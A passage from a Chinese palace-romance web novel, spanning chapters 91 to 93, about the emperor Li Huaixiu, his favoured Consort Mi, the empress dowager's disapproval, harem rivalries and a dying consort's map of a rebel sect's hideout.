手?中握着的朱笔一顿,笔尖儿的红墨重重垂下,晕染到宣纸上。李怀修眉心一拧,撂了握着的朱笔。 他记得那女子最是厌烦习字,居然也能耐得住性子,在?太后处抄写佛经?,还不曾与?他诉苦过一句。 …… 是日,御花园六角亭中。 太后精神稍济,用过早膳,皇帝陪她同游御花园。母子二人坐在?亭中,皇帝鲜少这般得空。 “今儿是前朝不忙?难得过来陪哀家这么久。” 李怀修落下的黑子不动声色地相让,他慢饮茶水,姿态散漫地把玩拇指的玉戒,“母后回?宫后,儿子还未陪母后游过御花园。” 这御花园在?太后年轻的时候不知?走过多少回?,数十年过去,不见变了翻模样。太后不信皇帝这句话?,她这儿子要?是当真无事,也不会陪她到现在?。 皇帝一向?有耐心。 太后不禁感慨,记得小时候他们?兄弟几个随先帝冬猎,天寒地冻,几个金玉养出的皇子受不得冻,早早回?了行宫,唯有她这个儿子在?雪地里趴了半个时辰,射到一只花鹿,回?来几乎要?冻成雪人,摸不到半点人气,他不仅毫不在?意,反而献宝似的将那只花鹿给她,眼底有着养尊处优的皇子罕有的坚毅之?色。 他就像林中的一只凶兽,骄傲地宣示自己的战利品。那时太后就知?晓,自己生的这个儿子,有朝一日,必成大业。 太后瞥了皇帝一眼,“哀家听闻昨日萧家大房三公子被弹劾下狱,大理寺还在?审查此案。” 那三子也是不省心,下狱后,太后就收到了萧家的书信,哭诉请求她为萧家作保,为三子说情。太后早知?自己回?宫就是一堆烂摊子事,萧家小辈中,没有能立得住的,若非有她这个太后撑着,萧家哪还会有今日的繁盛。 李怀修置若罔闻,不徐不疾地提醒,“该母后落子了。” 太后知?道他是什么脾气,“哀家知?晓皇帝现在?对萧家不满,那三子也是无用之?人,念在?哀家的情面,皇帝从轻发落,打发他也就罢了。” 宫人们?已无声守到亭外,李怀修这才不紧不慢道:“儿子听母后的。” “即便如此,念在?萧家没有功劳也有苦劳……”太后本没认为皇帝会轻易答应她,正要?继续絮叨一二,乍然听他回?话?,不由止住话?音,诧异抬眼,“哀家是没有听错?” 李怀修见太后手?边的茶水冷了,亲自换上一盏,脸色如旧,“萧家长房三子确也没犯下什么大错,儿子知?道萧家来人说情,念在?母后的情面,儿子回?去责令大理寺将人放了。” 今儿皇帝这么好说话?? 太后眼神狐疑。 她可不觉得皇帝这般顺着他是什么好事。 说话?间一盘棋局下完,太后有些?乏了,“罢了,皇帝前朝有事,不必再陪着哀家了。” 赵月儿回?到亭中扶太后起身,一行人慢慢往御花园外走,李怀修右手?负在?身后,这才似无意说道:“近日宓妃带着绥儿安儿去陪母后,母后可还开怀?” 能有日日哄着孙儿,太后这身子骨便也不觉乏累,她慈笑?道:“哀家抱着绥儿,像抱着皇帝小时候一样。” 李怀修也不由笑?了,话?锋不紧不慢地一转,“宓妃性子娇气些?,叨扰母后了。” 提到宓妃,太后倏然明?白皇帝的意思,她脸上笑?意淡下去,总算明?白他今日为何兜这么大一个圈子,“莫不是宓妃将哀家让她抄写佛经?的事儿向?皇帝告状了?” 李怀修指腹捻着扳指,没有立即反驳,“母后知?道宓妃的性子,她待您一直是毕恭毕敬,规规矩矩。她心知?您不喜欢她,是儿子让她带着绥儿安儿常去您宫中,从始至终,她都没有跟儿子抱怨过一句。” “她这么做,也是不想让儿子为难。” 他有时倒宁愿这女子跟他撒娇埋怨,偏生不该懂事的时候,比谁都要?懂事。 太后拧起眉,“如此说来,倒是哀家做了这个恶人。” “哀家确实不喜欢宓妃。让她抄写佛经?,也是想静静她的心性。” 身为后宫妃嫔,怎能让皇帝将心思都系于她一人身上。旁人听闻,又怎会仔细分辨,皇帝岂不成了耽溺女色的昏君。自古以来,下面人津津乐道的向?来是皇室宗亲那些?乌七八糟的荒唐事,皆做了饭后谈资,引人笑?话?,茶余闲谈,谁会追思根本。 皇帝不以为意,旁人却不这样去想。太后不能忍受自己的儿子当得一位明?君,却因一女子留下污点。她更?不能忍受,本该雨露均沾的皇帝会过于宠爱一个嫔妃,而失了分寸。 李怀修没就此事再与?太后争执,他清楚只要?自己宠爱宓妃一日,太后就有一日对宓妃不喜。他再多辩解,只会越描越黑,太后也不会去听,反而愈发不快。 更?何况,他喜爱宓妃,事实就是如此。 李怀修停住脚步,神情云淡风轻,“方才儿子退了一步,现在?儿子希望母后也能做此退让。” “儿子不为难萧家,请母后也不要?为难宓妃。” 太后脸色难看,“皇帝便是连这点委屈也舍不得让宓妃去受?” 她只让宓妃抄写佛经?就算为难了?怕是那萧家三子下狱,也是皇帝有意为之?。她可真是养了个好儿子!为一个女人,把前朝的那些?手?段都用到母亲头上了! 伺候的宫人们?垂低脑袋候在?后头,赵月儿见此情形,眼眸轻转,忙劝道:“太后,月儿听闻,龙凤双胎乃是吉兆,宓妃娘娘诞下一对皇子公主,是大魏祥瑞,如此说来宓妃娘娘也算是有功之?人。” 她清楚太后与?皇上争执是因宓妃,不如将话?题引向?宓妃生下的皇嗣。 太后虽不喜宓妃,但?仍是喜爱绥儿,她一手?养出皇帝,却也心知?皇帝的凉薄,此无可解。 她闭了闭眼,罢了,日后宓妃再来,她当做没有此人就是,也难为皇帝为宓妃对萧家网开一面。 李怀修见太后有所缓和,才慢慢道:“年宴过后就是母后寿辰,儿子已经?备好寿礼,准备待那日献给母后。” 太后瞪了眼李怀修,“你不必哄着哀家,哀家才不稀罕。” 李怀修勾唇一笑?,亲自去扶太后的手?臂,“母后不稀罕,儿子可就不送了。” 母子二人间气氛渐渐松弛,赵月儿与?全福海都松了口气。 …… 明?裳不知?皇上与?太后曾有过这件事,只是她再去寿康宫后,太后就不再让她抄写佛经?,她还觉得奇怪。 直到一日,李怀修抱着儿子,问起她近日到寿康宫的事,明?裳就一一说了,接着李怀修问她太后可还让她抄别的书,明?裳才后知?后觉,莫不是皇上知?晓后,与?太后说过这事。 她脸蛋垮下来,神情担忧,“太后娘娘会不会觉得是臣妾跟皇上抱怨。” 李怀修放下儿子,屈指弹了下她的额头,“朕不是说过,受委屈就告诉朕,朕会给你做主。” 话?是这么说,但?可以幽怨一回?两?回?,次数多了,这位又要?忙着前朝之?事,总有厌烦的一日,那时该怎么办。更?何况,抄经?书又没什么大不了的,累不着她。 明?裳抬眸,眼巴巴地看着男人,直接道:“太后是皇上的生母,大魏以孝治国,臣妾怎能让皇上为难,也不忍心皇上因臣妾与?太后有所龃龉。” 她说话?时,便靠去了男人怀中。 床榻里两?个不会说话?的小团子,一眨不眨地望着被父皇抱入怀中的母妃。 母妃好像在?哭,父皇在?哄着母妃,他们?小脑袋瓜还不明?白眼下的情景,直到十余年后,他们?各自长成,才艳羡起父皇与?母妃间的缘分。 帝王与?宠妃,世所罕有。 李怀修本想着借此事对她敲打一二,不想这女子一番话?,让他不禁哑声。又忍不住想前朝那些?老东西的祸水言论,历朝以来,哪个祸水能像她一样乖巧懂事,从不给他添半点乱子,让他为难。 他抬手?抚过明?裳的青丝,“朕倒希望母后能听到你说的这番话?。” 顿声,他不禁又想,母后不喜宓妃,不是因宓妃的性子,只要?他喜爱这女子,不论宓妃做什么,母后都不会喜欢她。 李怀修这才觉出些?许无奈。 既是对母后,也是对自己,为何他偏偏如此喜爱这人,即便过了这么久,也不见对她厌烦,甚至有所察觉,自己的一些?喜怒,也会因这女子牵绊而出。 他深知?,于君王而言,并非好事。 明?裳不知?这位在?想什么,她清楚太后为什么不喜欢自己,前几日听说舒贵人又去御前请人,她犹豫了会儿,还是截了舒贵人的宠,翌日再去寿康宫,太后娘娘对她又是一番敲打。 她并不在?乎太后对自己的态度,只要?皇上偏宠于她,太后会觉得她误君误国,待她不会和善。 这些?明?裳都不在?意,只要?皇上喜爱自己,那些?几不可见的委屈有又何妨。 再者,她也顾不得那么多,明?年就要?有新人进宫,她必须在?这之?前,让这位将心思放到她一人身上,多疼疼两?个孩子。她还想在?明?年选秀前,能坐到贵妃之?位,至少让新进宫的嫔妃忌惮,不敢对她下手?。 …… 舒贵人前几日又被宓妃截了圣宠,气得不行,趁着宓妃这日没去寿康宫,便找太后哭诉。 殿内气氛沉寂,唯有舒贵人断断续续的哭声,太后听得一阵厌烦。 她总算看清楚,为何皇帝独独宠着宓妃,舒贵人这般拎不清楚。 太后看也不看她一眼,“你是想让哀家再请皇帝一回??” 舒贵人捏紧了帕子,抽咽渐小。 倘若不是以太后的名义?去请,她怎能请来皇上,宓妃倚仗着生下的龙凤双胎,但?凡闻见她去御前,便会遣人去请圣驾,一来二去,她白白忙活了大半月。 舒贵人眼眸低下来,“嫔妾不是这个意思。” 太后眼色冷淡,雍容威仪,“那你是何意?” 有她相助,皇帝或可召舒贵人一两?回?侍奉,但?终究还会对她愈发不喜。太后现在?已不期盼着后宫这些?嫔妃能分去宓妃的圣宠,左右明?年都要?选秀,那些?新鲜的人总比现在?这乌烟瘴气的后宫看得顺眼。 皇后位居后位,一心想要?皇子,失责至此,甚至不如贤妃,当真让她失望。 太后脸色越来越冷,已经?不 耐再去看舒贵人那张哭哭啼啼的脸,“罢了,哀家再照顾你一回?。” 至于能否事成,她也不想再管。 舒贵人面容大喜,“嫔妾谢太后娘娘。” 从寿康宫出来,舒贵人没有立即回?谨兰苑,她招来翠菊,问道:“我?记得你说过,你祖上有一种法子,可护人身子康健。” 翠菊呼吸一滞,神色紧张,“主子,那种法子也是秘辛,无人证实,做不得真。” 舒贵人轻轻一笑?,“真真假假有又何妨,要?紧的是太后与?皇上能看到我?的心意。” 只要?她再怀上皇嗣,诞下皇子,来日那个位子她也必然争得。宓妃受宠有子又能如何,来日方长,谁输谁赢还未成定数。 第092章 第 92 章 翌日皇后去?寿康宫时?, 舒贵人也在太后身侧伺候,入殿,鼻翼下先是闻见一股淡淡的血腥味儿。 皇后微不可查地拧了拧眉尖儿, 以帕子抵了下口鼻。 这味道越往里走越重, 她?给太后请过?安,舒贵人也向她?福身, 皇后落下座,才看?见案上摆着的一碗汤药,那味道好似就从这碗汤药中散发出来的, 她?敛眸,舒贵人看?她?的眼神有几分不自?然。 太后长叹一声,安抚着舒贵人,“为了哀家,也是难为你了。” 舒贵人红着眼睛, 没有多说?话, 只一味地摇头, “都是嫔妾应该做的。” 这番场景,却是让皇后愈发好奇,闻到的那淡淡的血腥味, 皇后目光不由扫了一瞬舒贵人用袖子遮掩住的手腕, 她?曾听说?以人血入药,可保用者身体康健,难不成,舒贵人正是用了这个法子? 皇后聪明地没有多问,她?没有留下多久, 宝珠两日前受了风寒,离不得人。皇后走后, 舒贵人也出了寿康宫。 殿内,太后淡淡扫了眼案上冷掉的汤药,微阖上眼,“倒了吧。” 赵月儿心中一惊,“太后是觉得这汤药有何不妥?” 人血入药,太后还不至于?看?不清舒贵人暗存的心思。这后宫的女人,为得一分圣眷,是什么手段都肯用的。 太后摇了摇头,“哀家信佛,断然不能去?食人血。” 生死有命,她?从不期盼延年益寿,坐到现在这个位子,自?然看?得就淡了。 赵月儿也觉人血入药不太妥当,她?看?见舒贵人小?臂的疤痕时?,呼吸都停了一下。舒贵人陪伴太后不过?月余,她?自?是不信舒贵人会真心为太后做出这么多。 不是为太后,还能是为了什么。 赵月儿后背越来越冷,忽觉可怕。 …… 江常在的病越来越重,面容苍白,咳出了血。 太医院得宓妃娘娘的吩咐,一直照看?着,但江常在的病是娘胎里带下来的,跟了这么多年,整个人早已是行将就木。 看?诊的太医唉声叹气地离去?,莺儿趴在主?子床边,泪水模糊了眼睛,“一定会没事的,奴婢去?求宓妃娘娘,请宓妃娘娘为主?子找宫外的郎中。” 江常在胸腔震颤,她?枯瘦的手抓住莺儿的手臂,勉强地扯了扯唇线,让她?不要去?。 她?这副身子也就这样了,是看?不好了。 何必要劳烦宓妃。 莺儿握住主?子的手,拼命摇头,“宓妃娘娘一定会有法子的,一定会有的!” 那厢明裳正在永和?宫陪着两个小?团子玩儿,她?喜欢给女儿穿漂亮的小?衣裳,将那粉粉嫩嫩的小?手爪擦得干干净净,又香又软。 安儿由着母妃折腾,只要有母妃在,她?就乖的不像话。 便是在这时?候,喜春斋的莺儿在殿外要求见她?。江常在的人不时?常来永和?宫,明裳以为有什么要紧事,吩咐乳母看?好皇子公主?,更衣出了内殿。 莺儿见到她?出来,眼泪如洪水决堤,扑通跪下身,重重叩了一首,“求求宓妃娘娘救救主?子!” 明裳讶然,忙唤人扶莺儿起来,问她?究竟出了何事。莺儿一一说?明,是江常在的病又重了,太医都难以治好。 江常在助她?良多,明裳不忍坐视不管,她?吩咐辛柳取出私库里那根皇上赏赐下的人参灵芝,但凡有用的药材都先带去?喜春斋。 闻言,莺儿感激不已,“娘娘心善,奴婢来世做牛做马,也要报答娘娘。” 喜春斋距永和?宫稍远,明裳离开前,回?殿见两个孩子已经睡了,才放下心。 江常在入宫后因身子羸弱,在御前没放过?玉牌。伺候江常在的宫人除却贴身的莺儿,还有两个名唤梅枝,柳叶的丫头,并一个守门的太监。只是每次到永和?宫传话的人都是莺儿,明裳猜想,江常在身边伺候的人怕并不得力尽心。 到了喜春斋,院内空空无人,也不知那守门的小?太监去?了何处。院内东南有一棵桃树,光秃秃的,凋零枯落。 莺儿正要进去?通禀,几人走到殿门外,先听见了几道懒散的闲谈人声。 明裳抬了手,示意莺儿先不要进去?。莺儿猜到里面的人说?些什么,她?眼底划过?一抹无可奈何的气愤。 主?子不受宠,染病落魄,下面伺候的奴才就把自?己当成了主?子。 梅枝在里面剥着核桃,“真是晦气的,要不是我得罪了内务府的管事,也不至于?被困在喜春斋,伺候这个半死不活的主?子。” 柳叶嗤笑道:“谁说不是呢,整整咳了三年还没咳死,也算是命大了。倒是苦了我们,走又走不得,出了喜春斋,还要叫人欺负。” 那两人边说?边不屑地讥笑,梅枝扒拉了下柳叶的手臂,“话也别说?的太难听,如今主?子不也是巴结上了宓妃,瞧着内务府算是照顾咱们喜春斋。” 柳叶白她?一眼,“巴结有什么用,宓妃风光正盛,哪看?得上一个没有用处,又快死了的嫔妃。不过?来日你我倒是可以借着主?子,投去?宓妃处,说?不准宓妃念在主?子情分,能收留你我。” 梅枝想了想,“说?的也是。” 殿外,莺儿听里头两人这般诅咒主?子,气得眼眶狠狠发红。 明裳眉眼泛冷,她?只顾让太医院内务府看?顾,却是忘了提点伺候江常在宫里的人。 她?抬了下颌,月香从旁点头,猛一推开门,殿里二人吃了满凭几的核桃,弄得满榻狼藉,养尊处优的好似个主子。 两人见到门外进来的架势,未回?过?神,看?清来人居然是宓妃娘娘,纷纷扒开衣袖的核桃皮,下了窄榻,跪身见礼。 梅枝赔笑一声,“宓妃娘娘仪仗何时?到的喜春斋,奴婢二?人未来得及出去?接迎,请宓妃娘娘恕罪!” 柳叶从中附和?,“喜春斋何事劳驾宓妃娘娘亲自过来,只打发奴婢一声就够了。” 她?又瞪了眼站着的莺儿,“宓妃娘娘养育皇嗣辛苦,你竟不知体恤,还日日过?去?劳烦,没半分眼色。” 莺儿嘴笨,被柳叶反咬一口,气得胸脯起伏,说?不出话。 明裳微微一笑,“本宫可不敢劳驾二?位姑娘。二?位姑娘要是去?伺候了本宫,说?不准本宫也要在二?位姑娘跟前端茶送水。” 她?瞥了眼梅枝发鬓间的首饰,“就连本宫私库里的用度,也得好声好气,双手捧着送到二?位姑娘面前,求着二?位姑娘用。” 梅枝柳叶二?人闻言,怕是宓妃娘娘听见了方才两人的说?话,吓得面容惊惶,身子抖如筛糠,直呼宓妃娘娘恕罪。 那凭几上的核桃剥了两碟,这宫里的奴才哪吃得着核桃。江常在病重,明裳有意吩咐内务府多加照顾,不想都照顾到这些奴才嘴里了。 明裳脸色倏然一冷,“本宫一向是不惯着你们二?人这样的性子,既然不会伺候主?子,留在这也是无用。” 她?凉凉道:“辛小?五,立即押着这两个偷盗欺主?的奴才去?慎刑司,让管事照着宫规处置。” 梅枝柳叶吓得双腿一软,险些瘫坐在地,涕泗横流地苦苦哀求,“奴婢再?也不敢了,求宓妃娘娘饶过?奴婢吧!” 这样的奴才,明裳是断不敢相信,她?又问莺儿,“那个守门的太监何在?” 莺儿终于?出了口恶气,她?一把抹掉眼眶的泪水,“小?海子经常偷盗主?子的首饰,怕是不知道拿去?哪变卖了。” 明裳陡然恼火,喝她?,“江常在如此处境,你为何不早通禀本宫!” 莺儿被宓妃吓了一跳,扑通跪下身子,不知如何去?说?。主?子病重难愈,心灰意冷,连自?己的命都不想要了,哪会在意这些。 她?磕头求宓妃娘娘恕罪。 明裳意识到,抬手让她?起身,又吩咐辛小?五去?内务府知会,将伺候江常在的太监一并发落。再?安排三个得力稳妥的宫人到喜春斋伺候。 寝殿内,江常在隐约听到外面宓妃的说?话声,她?眼底闪过?感激的泪光。她?与宓妃一同入宫,算不上相交熟识,宓妃却这样相护于?她?。 明裳进到寝殿,先闻到一股浓浓的汤药味。她?见到江常在,才知莺儿为何哭得那般伤心。 江常在半靠着引枕,面色苍白,形容消瘦枯槁,气若游丝,病若垂危,江常在居然病得这样重,她?心头微微一悸,不知如何安抚。 江常在生性刚烈,不愿让旁人看?到自?己的落魄,偏生她?却总以病态示人。 她?请宓妃坐下,“恕嫔妾病重,不能起身做礼。” 明裳劝她?好生养病,不必去?想那么多,但江常在病至如此,说?什么都是无力。 “宫中太医没见过?多少疑难杂症,本宫请皇上为你去?宫外召一位神医,他定能医治好你的病。” 江常在咽下喉中的干痒,摇头道:“宓妃娘娘不必再?为嫔妾费心了。” “嫔妾死不足惜,没有什么遗憾,唯有伺候嫔妾身侧的宫女莺儿,至纯至忠……”江常在抚着胸口猛咳,眼底泪光闪闪,她?费力地跪坐,朝明裳叩首,“嫔妾求在嫔妾走后,宓妃娘娘能留下莺儿。” 明裳面有恸色,去?扶她?起身,“本宫答应你。” 江常在虚弱地弯了弯唇角,她?眼神似已经无神了,在说?着似是而?非,明裳不解的话,“嫔妾本是想守着那件事到死,但现在嫔妾却想,临走前再?为宓妃娘娘做一件事。” 离开喜春斋后,明裳立即去?了御前,江常在病重至此,不能再?耽搁下去?。当初她?难以受孕,皇上为她?请的郎中医术颇高,不知能不能再?请一回?。 李怀修正为再?次流窜的青莲教忙得焦头烂额,活捉教使后,那青莲教安生一段日子,近日又隐隐有死灰复燃的苗头。 怕是这根没有铲除干净。 闻这女子的来意,他挑了挑眉,这件事倒也好办,只是那游医神龙见首不见尾,要费些时?候。 李怀修印象中不记得后宫有江常在这个嫔妃,若非因这女子,他并没有那个功夫去?管。 他与朝臣议事几个时?辰,也有些累了,招明裳过?来,让他抱一会儿歇歇。 明裳伏在男人怀里,指尖揪着龙袍的珠子,娇声,“皇上歇就歇嘛,干嘛要抱着臣妾歇歇。” 那声音软乎乎的,李怀修眉宇微舒,掌心漫不经心地抚她?腰臀,不徐不疾地睨她?,“闭嘴。” 明裳红唇唔了一声,温顺下来。 殿内薰炉中熏香袅袅,男女相拥一处,难得安逸。 良久,明裳感受颈边的肌肤有温热的呼吸徐徐喷过?,她?悄悄抬起眸子,男人双目微阖,眼底覆着一层淡淡地清灰,根根直立的眼睫垂下,并无动静。 听说?昨晚乾坤宫的灯亮了一夜。 那只手掌还扣在她?的腰上,明裳放轻动作移开,慢慢起了身子。 她?走去?寝殿,取来薄毯,盖到李怀修身上。男人生得很好,长眉入鬓,鼻梁高挺,面若刀裁,即便合眼也有有不怒自?威的帝王气度。 明裳不由想,这位倒底累了多久,能睡得这样沉。 她?出乾坤宫,见全福海正要往殿里送午膳,她?把人拦住,压低声音,“皇上正歇着,待皇上醒了,送些清淡的吃食。” 全福海自?是听宓妃娘娘的话,想到皇上不知连忙了多少个时?辰,也心疼不已,忙吩咐御膳房将这些荤腥端下去?,换上清淡的菜式。 待李怀修清醒,已经是两刻钟后,殿内无人,他身子一动,薄毯从臂弯堆积到了腰腹,他捏着眉心,思虑片刻前发生的事。 似乎是那女子进殿见他,要为江常在请游医,而?后他抱着那人,太过?困乏,不记得了。 这薄毯…… 宫人是没那个胆子进来,当也是那女子盖到他身上。 李怀修摇了摇头,轻笑,还算有点良心。 他醒醒神,唤宫人进殿伺候。 …… 至夜时?分,敬事房小?太监捧着六宫嫔妃的名册入殿。 李怀修撂下御案的奏折,指骨敲了两下,刚要抬手让那小?太监下去?,今夜不召人侍奉。 殿外,全福海躬着身子进殿,他瞧见那敬事房的小?太监还在,忙道:“皇上,谨兰苑舒贵人吩咐人送了羹汤。” 不得不说?,这舒贵人实在倒霉,几次三番侍寝,都出了岔子。 今儿皇上也没召人侍奉的意思,但全福海想到白日之?事,犹豫一番,继续开口,“奴才听闻,舒贵人以血入药,服侍太后娘娘,太后娘娘很是感动。” “以血入药?”李怀修眉宇微沉,“舒贵人服侍太后是有心了。” 皇上只说?有心,至于?为何有心,全福海用膝盖都想得明白。 他装着糊涂,请示,“皇上,这汤……” 李怀修默了稍许,招那敬事房的小?太监近前,点了舒贵人的名册,“接了。” 全福海领下吩咐,躬身告退。 得知皇上召舒贵人侍寝,谨兰苑上上下下准备接迎圣驾。 然,要么说?舒贵人倒霉呢,皇上刚出乾坤宫,宫外忽有急报至,李怀修一目十行,拧眉挥退伺候的銮舆,对全福海道:“告诉舒贵人,朕改日过?去?。” 全福海一言难尽地应下皇上的吩咐,舒贵人得知这个消息,脸怕是要气绿了。 …… 御前的人去?宫外寻那游医,明裳得空就会去?喜春斋看?望江常在,江常在的身子肉眼可见,一日比一日的差,太医诊脉后,隐晦地禀给明裳,江常在怕是活不过?半月。 太医终究是将日子说?得长了,三日后,莺儿起身进殿去?伺候主?子梳洗,却是再?没唤主?子醒来。 江常在的病逝在宫里没有翻出多大的风浪,一个从未受宠,又没有皇嗣的嫔妃,没有人放在心上。丧事由皇后操持,依照宫妃仪制下葬。江常在是家中长女,母家是地方小?官,生母病逝,父亲续娶,江常在在家中可有可无。 莺儿哭得上气不接下气,她?照主?子遗言,去?伺候宓妃。她?从主?子留下的匣子中,拿出一张素白的帕子,交给宓妃娘娘。 “这是主?子托奴婢转交给娘娘的,请娘娘呈给皇上,或许有用。” 那张帕子上是用刺绣绣出的花样,仔细看?,好似是一张地图。用青线做底,这花样,倒像是莲花。 明裳没看?出有什么特别之?处,江常在请她?呈给皇上,又是什么意思? 她?忽然想到那日江常在与她?说?过?的话,江常在要为她?在做一件事,难不成,就是这件事? 明裳忽然意识到不寻常,她?收好帕子,立即吩咐宫人准备仪仗,去?乾坤宫。 正是后午,李怀修还算得空,他接过?这女子呈来的帕子,眼目看?过?帕子上所绘的方位,倏然一滞,凝重地看?向明裳,“这是江常在托你转交给朕的?” 明裳点了点头,也不由凝重几分,又说?江常在与她?说?过?的那些话。 李怀修不确定这张图真伪,他让明裳先回?宫,传召北郡王进宫。 …… 此事在宫中没惊动半分风声,自?那日后,皇上便一直没进过?后宫,听闻舒贵人又去?过?御前两回?,却是没一回?真正请去?了皇上。 后日中秋宴,坤宁宫问安时?,皇后如往年交代中秋宴事宜。今年有太后在,中秋宴与以往有些许不同。 皇后主?持操办,贤妃辅佐协理,中秋宴过?后就是东山狩猎,皇后告知了跟随圣驾同去?的一众嫔妃,六宫嫔妃盼着能有自?己,结果就先听闻其?中居然有宓妃,而?随行嫔妃除却皇后,宓妃与舒贵人,只能跟去?六人。 皇子公主?年幼定然不能跟去?,宓妃不在宫中,有谁来照顾皇子公主??有人委婉地提出这个疑问,皇后慢条斯理道:“这是皇上的意思。” 言外之?意,宓妃是皇上钦点的人,要有异议,不如自?己去?与皇上说?。 她?们要是有能得皇上召见的本事,何故期盼这次东山狩猎的机会。 询问的那个嫔妃讪讪地垂下眼。 明裳轻描淡写地勾起唇角,她?才不会管旁人怎么说?,那位喜欢宠着她?,要是不忿,尽管去?到御前告状。 是夜,圣驾去?了永和?宫。 这些日子安儿都睡在她?这,明裳想不能厚此薄彼,冷落了儿子,便也把儿子抱到了寝殿,谁想这夜皇上过?来,不过?她?去?迎驾时?看?出,今夜皇上似乎心情不错。 李怀修接过?明裳怀里的绥儿,儿子瞧瞧母妃,又瞧瞧父皇,他勾起一抹笑。 “绥儿又重了不少。” 明裳撇唇,“皇上可好些日子没到臣妾这儿来了,也不知是不是舒贵人送去?的羹汤太过?好喝。” 这女子话锋转的快,李怀修微顿,才记起谨兰苑送来的羹汤。他太阳穴跳了下,没理会她?这句。 “朕今日过?来,是要说?江常在托你交给朕的东西。” 明裳想起,那张她?看?不懂的帕子。 绥儿被父皇放到床榻里侧,李怀修捏了把明裳的脸蛋,拇指的玉戒在那张雪白的面皮上落下一个红印子,“你知不知道你为朕解决了多大的麻烦。” 明裳茫然摇头,懵懂地说?不知道。 她?是真的不知道。 李怀修牵唇,也没打算告诉她?实情。 江常在及笄那年去?外祖探亲,被青莲教撸劫,逃出后,未免受人眼光,谎称是落水去?了姑母家,那张绣帕所绘,正是青莲教藏匿之?处,虽时?隔三年,但仍旧是有大用,青莲教不除,她?就有一日的危险。江常在确实聪慧,想出入宫避祸的法子,试问天?底下,有哪处比在皇帝身侧更为安全。 北郡王已全部探查过?,不日缉拿归案,自?此,青莲教必然根灭。 这女子误打误撞,帮了他大忙,倒是个小?福星,先给他生了对龙凤双胎,又为他解决了头疼不已的朝事。 李怀修勾着明裳的下颌,不徐不疾地吻下那张红唇。 这时?,旁边盯着的两小?只“哇”一声,也要父皇母妃亲亲。李怀修动作微顿,侧目,扫了瞬碍眼的儿子女儿,干咳一声,传进乳母,抱皇子公主?去?偏殿安置。 然后,明裳就被不明不白地被这位欺负。 她?不解,自?己为何不论惹这位高不高兴,都要受这样欺负。 明裳软在男人怀里嘤嘤啜啜,李怀修哑声说?心疼她?,却日寸深日寸钱,怀中的女子雪肤乌发,如妖似魅,呼吸如鱼儿般,若有近无。 这样的楚楚之?姿,怕是天?底下没有男人不爱。李怀修不由又想,倘若她?没有进宫,此时?又会在跟哪个狗东西撒娇做作。纵使知晓并无此事,仅是无端想想,他就已生出薄怒。 男人手掌推磨着那把细月要,不知过?了多久,直至明裳耳边有一阵重重的闷口亨,终于?终止。 翌日李怀修清醒时?,披衣起身缓了一会儿,他捏了捏眉心,床榻里,那女子脸蛋冲着里侧,青丝垂散,覆着雪白圆润的肩头,睡得正香。 他沉下眉眼,忆起昨夜,确实甚是荒唐。 李怀修掀开帷幔,时?辰与平时?相差无几,他没再?多想,唤人进殿伺候,准备上朝。 …… 中秋宴那日,明裳早早起身梳妆,妃位服制比之?下面的嫔妃更加繁琐,天?还未亮起了身,此时?明裳坐在妆镜前由着宫人梳妆,昏昏欲睡。 第093章 第 93 章 今年的中秋宴有太后在的缘故, 建章宫帝位下首多放了?一张席位。 帝后入殿,歌舞奏起,四?海同欢。 歌女聘聘婷婷, 腰肢如柳, 随曲扭动,觥筹交错, 满殿浮华光影,靡靡入目。 明裳位居妃位,与贤妃同座, 她?不由向下看去一眼,曾经她?便是从最下面宝林的位子走到今日,如今诞下龙凤双胎,深蒙圣眷,不知是不是这?花酒醉人, 一时恍惚出神, 似乎不觉真切。 她?不胜酒力地扶了?扶额角, 柳眉颦颦,一张芙蓉面因饮了?酒水,胜似桃花芙蕖, 如春色娇媚, 直叫人频频侧目,无心?再赏这?殿中歌舞。 贤妃一手?拂袖落下酒盏时,余光正瞧见宓妃扶额的姿态,关切地问?道:“宓妃妹妹是身子不适?” 她?这?一声不低不高,也引来了?旁人的目光, 皇后似不经意地看去一眼。 明裳没有立刻回答,拨开鬓边的碎发?, 若无其事地嗔了?句,“这?歌舞看得人花了?眼。” 贤妃并未再问?,嘴边笑得不真切,“宓妃妹妹说的是,年年这?些舞曲,确实有些乏味。” 上首,李怀修听见二人一番对话,又去看殿内歌舞,伶人舞姿曼妙,比之那女子则逊色许多。他摩挲着酒盏,想到那女子诞下皇嗣后就再没给他跳过舞,待他甚是敷衍,不由拧眉,看着殿中歌舞也愈发?乏味无趣,此时倒想让这?女子私下跳给他看,脑海中一闪而过那女子跳舞时嫣嫣含笑的神情?。 但今年有太后在,宴席是不能散得那么快,他神色漫不经心?,时而瞥去下首的女子,那人着华裳坐在妃位,鬓发?簪琳琅翡翠步摇,眉心?描梅花金箔,许是吃多了?酒水,面如芙蕖,一嗔一笑,万种风韵。 李怀修沉了?脸色,唤全福海。 全福海正候在皇上旁边发?呆出神,忽得召唤,不明所以地近前,“皇上有何吩咐?” 李怀修冷睨他一眼,责他办事不利,“宓妃不胜酒力,去将她?的花酒换成甜水。” 忽然被皇上冷眼相对,全福海心?底暗暗叫苦,忙不迭应下皇上的吩咐,亲自去办。 那厢明裳也察觉自己不能再饮了?,她?捏着帕子碰了?碰发?烫的侧脸,正要离席,有人从后面捧上一蛊甜水放到案上,她?愣了?下,抬起眸子,就对上全福海那张笑眯眯的脸,“宓妃娘娘身子不适,不必饮酒,皇上特?命奴才去御膳房取的甜水。” 明裳诧异,不想那位也注意到自己,定?是不能像敷衍贤妃那般容易,怪丢脸的。 她?谢过圣恩,又道:“劳烦全公公通传,本宫去殿外透透风。” 全福海哪敢不应,立即避开了?身子,询问?宓妃娘娘可要人带路,明裳道不必,只带了?月香出殿。 …… 是日风和日丽,秋高气爽。 从内殿出来,果然没再那么闷热。明裳用帕子擦去鬓边的热气,走去了?西苑。 中秋时节,花房养了?各式各样的菊花摆在西苑,待内殿酒过三巡,皇上要与一众王公大臣赏花。 入凉亭中,月香蹲身拂去圆凳不存在的尘土,铺上软垫,扶娘娘坐下身子。 轻风拂面,湖心?亭中一眼望去,湖水荡漾起层层涟漪,如柔软的丝绸。 明裳没得片刻的清净,自后就传进一道女声唤她?,“宓妃娘娘可真是闲情?雅致。” 听见这?道人声时,明裳细眉轻挑,不徐不疾地转过眼,看清了?亭外走近的人。 故人许久未见,江二小姐还是如以往那样盛气凌人。 三年过去,她?没有嫁给柳絮白,可这?位早就视她?为眼中钉的江二小姐,也没能嫁入柳府。 明裳轻描淡写地移开眼,指尖轻叩石桌,一下一下,“江二小姐知本宫是皇上亲封的宓妃娘娘,不知宫中规矩,见到本宫,还不请安问?礼吗?” 